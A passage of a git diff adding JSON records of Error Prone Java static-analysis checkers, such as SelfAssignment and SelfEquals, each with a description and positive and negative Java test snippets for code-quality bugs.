objects must be checked.\n map1.get(null);\n // BUG: Diagnostic contains: Rx objects must be checked.\n map2.get(null);\n // BUG: Diagnostic contains: Rx objects must be checked.\n map3.get(null);\n // BUG: Diagnostic contains: Rx objects must be checked.\n map4.get(null);\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.errorprone.annotations.CanIgnoreReturnValue;\n import io.reactivex.Flowable;\n import io.reactivex.Maybe;\n import io.reactivex.Observable;\n import io.reactivex.Single;\n import java.util.HashMap;\n import java.util.Map;\n\n /**\n * @author friedj@google.com (Jake Fried)\n */\n public class RxReturnValueIgnoredNegativeCases {\n interface CanIgnoreMethod {\n @CanIgnoreReturnValue\n Observable getObservable();\n\n @CanIgnoreReturnValue\n Single getSingle();\n\n @CanIgnoreReturnValue\n Flowable getFlowable();\n\n @CanIgnoreReturnValue\n Maybe getMaybe();\n }\n\n public static class CanIgnoreImpl implements CanIgnoreMethod {\n @Override\n public Observable getObservable() {\n return null;\n }\n\n @Override\n public Single getSingle() {\n return null;\n }\n\n @Override\n public Flowable getFlowable() {\n return null;\n }\n\n @Override\n public Maybe getMaybe() {\n return null;\n }\n }\n\n static void callIgnoredInterfaceMethod() {\n new CanIgnoreImpl().getObservable();\n new CanIgnoreImpl().getSingle();\n new CanIgnoreImpl().getFlowable();\n new CanIgnoreImpl().getMaybe();\n }\n\n static void putInMap() {\n Map> map1 = new HashMap<>();\n Map> map2 = new HashMap<>();\n Map> map3 = new HashMap<>();\n HashMap> map4 = new HashMap<>();\n\n map1.put(new Object(), null);\n map2.put(new Object(), null);\n map3.put(new Object(), null);\n map4.put(new Object(), null);\n }\n\n @CanIgnoreReturnValue\n Observable getObservable() {\n return null;\n }\n\n @CanIgnoreReturnValue\n Single getSingle() {\n return null;\n }\n\n @CanIgnoreReturnValue\n Flowable getFlowable() {\n return null;\n }\n\n @CanIgnoreReturnValue\n Maybe getMaybe() {\n return null;\n }\n\n void checkIgnore() {\n getObservable();\n getSingle();\n getFlowable();\n getMaybe();\n }\n }\\" + }, + { + "description": "rx2Observable", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "import io.reactivex.Observable;\n\n class Test {\n Observable getObservable() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getObservable();\n }\n }" + }, + { + "description": "rx2Single", + "expected-problems": null, + "expected-linenumbers": [ + 373 + ], + "code": "import io.reactivex.Single;\n\n class Test {\n Single getSingle() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getSingle();\n }\n }" + }, + { + "description": "rx2Completable", + "expected-problems": null, + "expected-linenumbers": [ + 395 + ], + "code": "import io.reactivex.Completable;\n\n class Test {\n Completable getCompletable() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getCompletable();\n }\n }" + }, + { + "description": "rx2Flowable", + "expected-problems": null, + "expected-linenumbers": [ + 417 + ], + "code": "import io.reactivex.Flowable;\n\n class Test {\n Flowable getFlowable() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getFlowable();\n }\n }" + }, + { + "description": "rx2Maybe", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "import io.reactivex.Maybe;\n\n class Test {\n Maybe getMaybe() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getMaybe();\n }\n }" + }, + { + "description": "rx1Observable", + "expected-problems": null, + "expected-linenumbers": [ + 461 + ], + "code": "import rx.Observable;\n\n class Test {\n Observable getObservable() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getObservable();\n }\n }" + }, + { + "description": "rx1Single", + "expected-problems": null, + "expected-linenumbers": [ + 483 + ], + "code": "import rx.Single;\n\n class Test {\n Single getSingle() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getSingle();\n }\n }" + }, + { + "description": "rx1Completable", + "expected-problems": null, + "expected-linenumbers": [ + 505 + ], + "code": "import rx.Completable;\n\n class Test {\n Completable getCompletable() {\n return null;\n }\n\n void f() {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getCompletable();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SameNameButDifferent.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SameNameButDifferent.json new file mode 100644 index 0000000..bdcb6c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SameNameButDifferent.json @@ -0,0 +1,78 @@ +{ + "name": "SameNameButDifferent", + "language": "java", + "description": "This type name shadows another in a way that may be confusing.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 226, + "branches": 31, + "apis": 2, + "test": [ + { + "description": "simpleNameClash", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "class A {\n class Supplier {}\n }\n \n\n import java.util.function.Supplier;\n\n class B {\n // BUG: Diagnostic contains:\n Supplier supplier = () -> 1;\n\n class C extends A {\n // BUG: Diagnostic contains:\n Supplier supplier2 = new Supplier();\n }\n }" + }, + { + "description": "simpleNameRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "package foo;\n\n class A {\n class Supplier {}\n }\n \n\n package foo;\n\n import java.util.function.Supplier;\n\n class B {\n Supplier supplier = () -> 1;\n\n class C extends A {\n Supplier supplier2 = new Supplier();\n Class clazz = Supplier.class;\n }\n }\n \n\n package foo;\n\n import java.util.function.Supplier;\n\n class B {\n Supplier supplier = () -> 1;\n\n class C extends A {\n A.Supplier supplier2 = new A.Supplier();\n Class clazz = A.Supplier.class;\n }\n }" + }, + { + "description": "nestedClassNameClash", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "package foo;\n\n class A {\n static class B {\n static class C {}\n }\n }\n \n\n package foo;\n\n class D {\n static class B {\n static class C {}\n }\n }\n \n\n package foo;\n\n import foo.A.B;\n\n class E {\n B.C foo = new B.C();\n\n class C extends D {\n B.C bar = new B.C();\n }\n }\n \n\n package foo;\n\n import foo.A.B;\n\n class E {\n A.B.C foo = new A.B.C();\n\n class C extends D {\n D.B.C bar = new D.B.C();\n }\n }" + }, + { + "description": "negativeAlreadyQualified", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "class A {\n class Supplier {}\n }\n \n\n import java.util.function.Supplier;\n\n class B {\n Supplier supplier = () -> 1;\n\n class C extends A {\n A.Supplier supplier2 = new A.Supplier();\n }\n }" + }, + { + "description": "neverShadowing", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "class A {\n public void foo() {\n class B {}\n B b = new B();\n }\n\n public void bar() {\n class B {}\n B b = new B();\n }\n }" + }, + { + "description": "doesNotThrowConcurrentModification_whenFilteringNonShadowingTypeNames", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "class A {\n public void foo() {\n class B {}\n B b = new B();\n }\n\n public void bar() {\n class B {}\n class C {}\n C c = new C();\n B b = new B();\n }\n }" + }, + { + "description": "referencesSelf", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "import java.util.function.Supplier;\n\n class B {\n Supplier supplier = () -> 1;\n\n class C {\n class Supplier {\n Supplier s = new Supplier();\n }\n }\n }" + }, + { + "description": "ungroupedOverloadsPositiveCasesCoveringOnlyFirstOverload", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "import java.util.function.Supplier;\n\n class Test {\n class One {\n class Clash {}\n\n // BUG: Diagnostic contains:\n Clash a;\n Clash b;\n }\n\n class Two {\n class Clash {}\n\n Clash a;\n Clash b;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAlwaysReturnsThis.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAlwaysReturnsThis.json new file mode 100644 index 0000000..f19fbe3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAlwaysReturnsThis.json @@ -0,0 +1,142 @@ +{ + "name": "SelfAlwaysReturnsThis", + "language": "java", + "description": "Non-abstract instance methods named 'self()' or 'getThis()' that return the enclosing class must always 'return this'", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 131, + "branches": 8, + "apis": 4, + "test": [ + { + "description": "selfReturnsThis", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n return this;\n }\n }" + }, + { + "description": "selfReturnsThis_withCast", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n return (Builder) this;\n }\n }" + }, + { + "description": "selfReturnsThis_withParenthesizedCast", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n return ((Builder) (this));\n }\n }" + }, + { + "description": "selfReturnsThis_withCastAndTryCatch", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "" + }, + { + "description": "selfReturnsThis_withMultipleReturnStatements", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n if (System.currentTimeMillis() % 2 == 0) {\n return this;\n } else {\n return this;\n }\n }\n }" + }, + { + "description": "selfReturnsThis_withTwoStatementCast", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n // sometimes people write comments here :-)\n Builder self = (Builder) this;\n return self;\n }\n }" + }, + { + "description": "selfReturnsThis_withImplComment", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n // this is an impl comment\n return this;\n }\n }" + }, + { + "description": "selfReturnsThis_withInlineComment", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n return /* self */ this;\n }\n }" + }, + { + "description": "selfReturnsNewBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n return new Builder();\n }\n }\n \n\n package com.google.frobber;\n\n public final class Builder {\n public Builder self() {\n return this;\n }\n }" + }, + { + "description": "getThisReturnsNewBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder getThis() {\n return new Builder();\n }\n }\n \n\n package com.google.frobber;\n\n public final class Builder {\n public Builder getThis() {\n return this;\n }\n }" + }, + { + "description": "self_voidReturn", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public void self() {}\n }" + }, + { + "description": "self_differentReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public String self() {\n return \"hi\";\n }\n }" + }, + { + "description": "self_static", + "expected-problems": null, + "expected-linenumbers": [ + 274 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public static Builder self() {\n return new Builder();\n }\n }" + }, + { + "description": "self_notNamedSelf", + "expected-problems": null, + "expected-linenumbers": [ + 292 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder selfie() {\n return new Builder();\n }\n }" + }, + { + "description": "self_hasParams", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "package com.google.frobber;\n\n public final class Builder {\n public Builder self(int foo) {\n return new Builder();\n }\n }" + }, + { + "description": "self_abstract", + "expected-problems": null, + "expected-linenumbers": [ + 328 + ], + "code": "package com.google.frobber;\n\n public abstract class Builder {\n public abstract Builder self();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssertion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssertion.json new file mode 100644 index 0000000..7c7e037 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssertion.json @@ -0,0 +1,78 @@ +{ + "name": "SelfAssertion", + "language": "java", + "description": "This assertion will always fail or succeed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 153, + "branches": 11, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n import static com.google.common.truth.Truth.assertWithMessage;\n\n /**\n * Positive test cases for SelfAssertion check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfAssertionPositiveCases {\n\n public void testAssertThatEq() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertThat(test).isEqualTo(test);\n }\n\n public void testAssertWithMessageEq() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertWithMessage(\"msg\").that(test).isEqualTo(test);\n }\n\n public void testAssertThatSame() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertThat(test).isSameInstanceAs(test);\n }\n\n public void testAssertWithMessageSame() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertWithMessage(\"msg\").that(test).isSameInstanceAs(test);\n }\n\n public void testAssertThatNeq() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertThat(test).isNotEqualTo(test);\n }\n\n public void testAssertThatNotSame() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertThat(test).isNotSameInstanceAs(test);\n }\n\n public void testAssertWithMessageNeq() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertWithMessage(\"msg\").that(test).isNotEqualTo(test);\n }\n\n public void testAssertWithMessageNotSame() {\n String test = Boolean.TRUE.toString();\n // BUG: Diagnostic contains:\n assertWithMessage(\"msg\").that(test).isNotSameInstanceAs(test);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n /**\n * Negative test cases for SelfAssertion check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfAssertionNegativeCases {\n\n public void testEq() {\n assertThat(Boolean.TRUE.toString()).isEqualTo(Boolean.FALSE.toString());\n }\n\n public void testNeq() {\n assertThat(Boolean.TRUE.toString()).isNotEqualTo(Boolean.FALSE.toString());\n }\n }\\" + }, + { + "description": "customReceiver", + "expected-problems": null, + "expected-linenumbers": [ + 134 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.truth.IntegerSubject;\n import java.util.Arrays;\n\n abstract class Test {\n abstract IntegerSubject f(int i);\n\n abstract IntegerSubject g();\n\n void test(int x) {\n f(x).isEqualTo(x);\n g().isEqualTo(x);\n }\n }" + }, + { + "description": "iterables", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.List;\n\n abstract class Test {\n void test(List xs) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactlyElementsIn(xs);\n }\n }" + }, + { + "description": "sameIdentifierWhenNotFinal_stillFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.time.Duration;\n\n abstract class Test {\n void test(int x) {\n x = 2;\n // BUG: Diagnostic contains:\n assertThat(x).isEqualTo(x);\n }\n }" + }, + { + "description": "constantExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 197 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.time.Duration;\n\n abstract class Test {\n void test(int x) {\n // BUG: Diagnostic contains:\n assertThat(Duration.ofMillis(x)).isEqualTo(Duration.ofMillis(x));\n }\n }" + }, + { + "description": "junitPositiveAssertion", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "import static org.junit.Assert.assertEquals;\n\n abstract class Test {\n void test(int x) {\n // BUG: Diagnostic contains: pass\n assertEquals(x, x);\n // BUG: Diagnostic contains: pass\n assertEquals(\"foo\", x, x);\n }\n }" + }, + { + "description": "junitNegativeAssertion", + "expected-problems": null, + "expected-linenumbers": [ + 236 + ], + "code": "import static org.junit.Assert.assertNotEquals;\n\n abstract class Test {\n void test(int x) {\n // BUG: Diagnostic contains: fail\n assertNotEquals(x, x);\n // BUG: Diagnostic contains: fail\n assertNotEquals(\"foo\", x, x);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssignment.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssignment.json new file mode 100644 index 0000000..c669e21 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssignment.json @@ -0,0 +1,46 @@ +{ + "name": "SelfAssignment", + "language": "java", + "description": "Variable assigned to itself", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 182, + "branches": 13, + "apis": 4, + "test": [ + { + "description": "positiveCases1", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Tests for self assignment\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class SelfAssignmentPositiveCases1 {\n private int a;\n\n public void test1(int b) {\n // BUG: Diagnostic contains: this.a = b\n this.a = a;\n }\n\n public void test2(int b) {\n // BUG: Diagnostic contains: remove this line\n a = this.a;\n }\n\n public void test3() {\n int a = 0;\n // BUG: Diagnostic contains: this.a = a\n a = a;\n }\n\n public void test4() {\n // BUG: Diagnostic contains: remove this line\n this.a = this.a;\n }\n\n public void test5() {\n // BUG: Diagnostic contains: this.a = a\n if ((a = a) != 10) {\n System.out.println(\"foo\");\n }\n }\n\n // Check that WrappedTreeMap handles folded strings; tested by EndPosTest.\n // See https://code.google.com/p/error-prone/issues/detail?id=209\n public String foldableString() {\n return \"foo\" + \"bar\";\n }\n\n public void testCast() {\n int a = 0;\n // BUG: Diagnostic contains: this.a = (int) a\n a = (int) a;\n // BUG: Diagnostic contains: this.a = (short) a\n a = (short) a;\n }\n\n public void testCast(int x) {\n // BUG: Diagnostic contains: this.a = (int) x;\n this.a = (int) a;\n }\n }\\" + }, + { + "description": "positiveCases2", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n import static java.util.Objects.requireNonNull;\n\n /**\n * Tests for self assignment\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class SelfAssignmentPositiveCases2 {\n private int a;\n private Foo foo;\n\n // BUG: Diagnostic contains: private static final Object obj\n private static final Object obj = SelfAssignmentPositiveCases2.obj;\n // BUG: Diagnostic contains: private static final Object obj2\n private static final Object obj2 = checkNotNull(SelfAssignmentPositiveCases2.obj2);\n\n public void test6() {\n Foo foo = new Foo();\n foo.a = 2;\n // BUG: Diagnostic contains: remove this line\n foo.a = foo.a;\n // BUG: Diagnostic contains: checkNotNull(foo.a)\n foo.a = checkNotNull(foo.a);\n // BUG: Diagnostic contains: requireNonNull(foo.a)\n foo.a = requireNonNull(foo.a);\n }\n\n public void test7() {\n Foobar f = new Foobar();\n f.foo = new Foo();\n f.foo.a = 10;\n // BUG: Diagnostic contains: remove this line\n f.foo.a = f.foo.a;\n // BUG: Diagnostic contains: checkNotNull(f.foo.a)\n f.foo.a = checkNotNull(f.foo.a);\n // BUG: Diagnostic contains: requireNonNull(f.foo.a)\n f.foo.a = requireNonNull(f.foo.a);\n }\n\n public void test8() {\n foo = new Foo();\n // BUG: Diagnostic contains: remove this line\n this.foo.a = foo.a;\n // BUG: Diagnostic contains: checkNotNull(foo.a)\n this.foo.a = checkNotNull(foo.a);\n // BUG: Diagnostic contains: requireNonNull(foo.a)\n this.foo.a = requireNonNull(foo.a);\n }\n\n public void test9(Foo fao, Foo bar) {\n // BUG: Diagnostic contains: this.foo = fao\n this.foo = foo;\n // BUG: Diagnostic contains: this.foo = checkNotNull(fao)\n this.foo = checkNotNull(foo);\n // BUG: Diagnostic contains: this.foo = requireNonNull(fao)\n this.foo = requireNonNull(foo);\n }\n\n public void test10(Foo foo) {\n // BUG: Diagnostic contains: this.foo = foo\n foo = foo;\n // BUG: Diagnostic contains: this.foo = checkNotNull(foo)\n foo = checkNotNull(foo);\n // BUG: Diagnostic contains: this.foo = requireNonNull(foo)\n foo = requireNonNull(foo);\n }\n\n class Test11 {\n final Foo foo;\n\n Foo fao;\n\n Test11(Foo foo) {\n if (true) {\n // BUG: Diagnostic contains: this.fao = foo\n foo = foo;\n }\n this.foo = foo;\n }\n\n public void test11a(Foo foo) {\n // BUG: Diagnostic contains: this.fao = foo\n foo = foo;\n }\n }\n\n private static class Foo {\n int a;\n }\n\n private static class Bar {\n int a;\n }\n\n private static class Foobar {\n Foo foo;\n Bar bar;\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n import static java.util.Objects.requireNonNull;\n\n /**\n * Tests for self assignment\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class SelfAssignmentNegativeCases {\n private int a;\n\n private static int b = StaticClass.b;\n private static final int C = SelfAssignmentNegativeCases.b;\n private static final int D = checkNotNull(SelfAssignmentNegativeCases.C);\n private static final int E = requireNonNull(SelfAssignmentNegativeCases.D);\n private static final int F = StaticClass.getIntArr().length;\n\n public void test1(int a) {\n int b = SelfAssignmentNegativeCases.b;\n this.a = a;\n this.a = checkNotNull(a);\n this.a = requireNonNull(a);\n }\n\n public void test2() {\n int a = 0;\n int b = a;\n a = b;\n }\n\n public void test3() {\n int a = 10;\n }\n\n public void test4() {\n int i = 1;\n i += i;\n }\n\n public void test5(SelfAssignmentNegativeCases n) {\n a = n.a;\n }\n\n public void test6() {\n Foo foo = new Foo();\n Bar bar = new Bar();\n foo.a = bar.a;\n foo.a = checkNotNull(bar.a);\n foo.a = requireNonNull(bar.a);\n }\n\n public void test7() {\n Foobar f1 = new Foobar();\n f1.foo = new Foo();\n f1.bar = new Bar();\n f1.foo.a = f1.bar.a;\n f1.foo.a = checkNotNull(f1.bar.a);\n f1.foo.a = requireNonNull(f1.bar.a);\n }\n\n public void test8(SelfAssignmentNegativeCases that) {\n this.a = that.a;\n this.a = checkNotNull(that.a);\n this.a = requireNonNull(that.a);\n }\n\n public void test9(int a) {\n a += a;\n }\n\n private static class Foo {\n int a;\n }\n\n private static class Bar {\n int a;\n }\n\n private static class Foobar {\n Foo foo;\n Bar bar;\n }\n\n private static class StaticClass {\n static int b;\n\n public static int[] getIntArr() {\n return new int[10];\n }\n }\n }\\" + }, + { + "description": "initializerBlock", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "class Test {\n int foo;\n\n Test(int foo) {}\n\n {\n // BUG: Diagnostic contains:\n this.foo = foo;\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfComparison.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfComparison.json new file mode 100644 index 0000000..e12fc32 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfComparison.json @@ -0,0 +1,30 @@ +{ + "name": "SelfComparison", + "language": "java", + "description": "An object is compared to itself", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Positive test case for {@link SelfComparison} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfComparisonPositiveCase implements Comparable {\n\n public int test1() {\n SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase();\n // BUG: Diagnostic contains: An object is compared to itself\n return obj.compareTo(obj);\n }\n\n private SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase();\n\n public int test2() {\n // BUG: Diagnostic contains: An object is compared to itself\n return obj.compareTo(this.obj);\n }\n\n public int test3() {\n // BUG: Diagnostic contains: An object is compared to itself\n return this.obj.compareTo(obj);\n }\n\n public int test4() {\n // BUG: Diagnostic contains: An object is compared to itself\n return this.obj.compareTo(this.obj);\n }\n\n public int test5() {\n // BUG: Diagnostic contains: An object is compared to itself\n return compareTo(this);\n }\n\n @Override\n public int compareTo(Object o) {\n return 0;\n }\n\n public static class ComparisonTest implements Comparable {\n private String testField;\n\n @Override\n public int compareTo(ComparisonTest s) {\n return testField.compareTo(s.testField);\n }\n\n public int test1() {\n ComparisonTest obj = new ComparisonTest();\n // BUG: Diagnostic contains: An object is compared to itself\n return obj.compareTo(obj);\n }\n\n private ComparisonTest obj = new ComparisonTest();\n\n public int test2() {\n // BUG: Diagnostic contains: An object is compared to itself\n return obj.compareTo(this.obj);\n }\n\n public int test3() {\n // BUG: Diagnostic contains: An object is compared to itself\n return this.obj.compareTo(obj);\n }\n\n public int test4() {\n // BUG: Diagnostic contains: An object is compared to itself\n return this.obj.compareTo(this.obj);\n }\n\n public int test5() {\n // BUG: Diagnostic contains: An object is compared to itself\n return compareTo(this);\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Negative test cases for {@link SelfComparison} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfComparisonNegativeCases implements Comparable {\n private String field;\n\n @Override\n public int hashCode() {\n return field != null ? field.hashCode() : 0;\n }\n\n @Override\n public int compareTo(Object o) {\n if (!(o instanceof SelfComparisonNegativeCases)) {\n return -1;\n }\n\n SelfComparisonNegativeCases other = (SelfComparisonNegativeCases) o;\n return field.compareTo(other.field);\n }\n\n public int test() {\n return Boolean.TRUE.toString().compareTo(Boolean.FALSE.toString());\n }\n\n public static class CopmarisonTest implements Comparable {\n private String testField;\n\n @Override\n public int compareTo(CopmarisonTest obj) {\n return testField.compareTo(obj.testField);\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfEquals.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfEquals.json new file mode 100644 index 0000000..12cac27 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfEquals.json @@ -0,0 +1,62 @@ +{ + "name": "SelfEquals", + "language": "java", + "description": "Testing an object for equality with itself will always be true.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n import org.junit.Assert;\n\n /**\n * Positive test cases for {@link SelfEquals} check.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfEqualsPositiveCase {\n protected String simpleField;\n\n public boolean test1(Object obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj;\n // BUG: Diagnostic contains: simpleField.equals(other.simpleField);\n return simpleField.equals(simpleField);\n }\n\n public boolean test2(SelfEqualsPositiveCase obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj;\n // BUG: Diagnostic contains: simpleField.equals(other.simpleField);\n return simpleField.equals(this.simpleField);\n }\n\n public boolean test3(SelfEqualsPositiveCase obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj;\n // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField);\n return this.simpleField.equals(simpleField);\n }\n\n public boolean test4(SelfEqualsPositiveCase obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj;\n // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField);\n return this.simpleField.equals(this.simpleField);\n }\n\n public boolean test5(SelfEqualsPositiveCase obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj;\n // BUG: Diagnostic contains:\n return equals(this);\n }\n\n public void testAssertTrue(SelfEqualsPositiveCase obj) {\n Assert.assertTrue(obj.equals(obj));\n }\n\n public void testAssertThat(SelfEqualsPositiveCase obj) {\n assertThat(obj.equals(obj)).isTrue();\n }\n\n @Override\n public boolean equals(Object obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj;\n return simpleField.equals(((SelfEqualsPositiveCase) other).simpleField);\n }\n\n private static class SubClass extends SelfEqualsPositiveCase {\n @Override\n public boolean equals(Object obj) {\n if (obj == null || getClass() != obj.getClass()) {\n return false;\n }\n SubClass other = 